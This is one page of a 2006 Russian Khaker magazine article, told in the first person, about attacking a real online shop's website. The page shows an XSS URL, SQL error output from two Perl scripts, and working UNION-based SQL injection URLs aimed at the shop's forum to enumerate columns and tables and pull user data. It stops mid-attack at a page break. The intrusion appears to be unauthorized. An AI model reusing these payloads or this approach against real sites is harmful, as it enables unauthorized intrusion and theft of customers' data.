Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #94, ОКТЯБРЬ 2006 г.

Хакер по найму

Стройков Леонид aka R0id

Хакер, номер #094, стр. 094-090-2


http://elson.ru/cgi-bin/search.pl?search_string=мой_javascript-код&mode=catalog_search&x=0&y=0

Но, учитывая печальный опыт с реализацией xss на www.003.ru, я решил отложить баг до худших времен и осмотреть ресурс подробнее. Каталог товаров отображался в обычных html-страницах, а вот личный кабинет был написан на перле. Заинтересовавшись perl-движком, я начал «тестировать» его на прочность. Но, проверив скрипты регистрации и личного кабинета, я был вынужден отступить. Однако через некоторое время обратил внимание на раздел «рассчитать доставку», в котором предлагалось заполнить три формы. После недолгих экспериментов со значениями полей скрипт ругнулся и выдал ошибку:

You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND weight_till>=1' limit 1' at line 1

SQL: SELECT weight_from, weight_till FROM elson_cpcr_pay_row WHERE weight_from<=1' AND weight_till>=1' limit 1

Оказалось, что скрипт calculator.pl не фильтровал входящие данные из поля «Вес товара», благодаря чему существовала возможность проведения sql-инъекции. Этот факт несомненно обрадовал меня, но напоследок я захотел пройтись по форуму магазина. Как ни странно, он тоже был написан на perl. Изменив значение параметра id в forum_editor.pl, я увидел сообщение:

You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '\' AND topic.checked=1 GROUP BY topic.id' at line 1

SQL: SELECT topic.subject, topic.description, DATE_FORMAT(topic.topic_date, '%d/%m/%Y %T'), topic.fio, topic.email FROM elson_forum_topic AS topic WHERE topic.id=? AND topic.checked=1 GROUP BY topic.id

Вот и еще одна sql-injection проявила себя. Но в отличие от первой инъекции, где данные из html-формы передавались методом post, во втором случае использовался метод GET, что облегчало составление запросов к базе. Поэтому было решено использовать именно уязвимость в движке форума. Первым делом я проверил права для доступа к таблице пользователей MySQL:

http://elson.ru/cgi-bin/forum_editor.pl?event=view_topic&topic_id=-1+union+select+*+from+mysql.user/*&s_text=

На что получил отрицательный ответ:

SELECT command denied to user: 'u18785@10.10.11.41' for table 'user'

В такой ситуации мне ничего не оставалось делать, как попробовать подобрать количество полей. Поиграв с багой несколько минут, я достиг желаемого результата при помощи запроса:

http://elson.ru/cgi-bin/forum_editor.pl?event=view_topic&topic_id=-1+union+select+null,null,null,null,null/*&s_text=

Далее нужно было получить название таблицы в БД. После недолгих раздумий я указал «elson_users»:

http://elson.ru/cgi-bin/forum_editor.pl?event=view_topic&topic_id=-1+union+select+*+from+elson_users/*&s_text=

Ответ MySQL не заставил себя ждать:

The used SELECT statements have a different number of columns

Ура! Значит, таблица «elson_users» действительно существует. И я догадывался, какая информация находится в ней:). Оставалось только извлечь данные юзеров. Но для этого мне нужно было знать названия полей в таблице. Я не стал себя сильно утруждать и ввел «email», сам запрос выглядел так:

Назад на стр. 094-090-1  Содержание  Вперед на стр. 094-090-3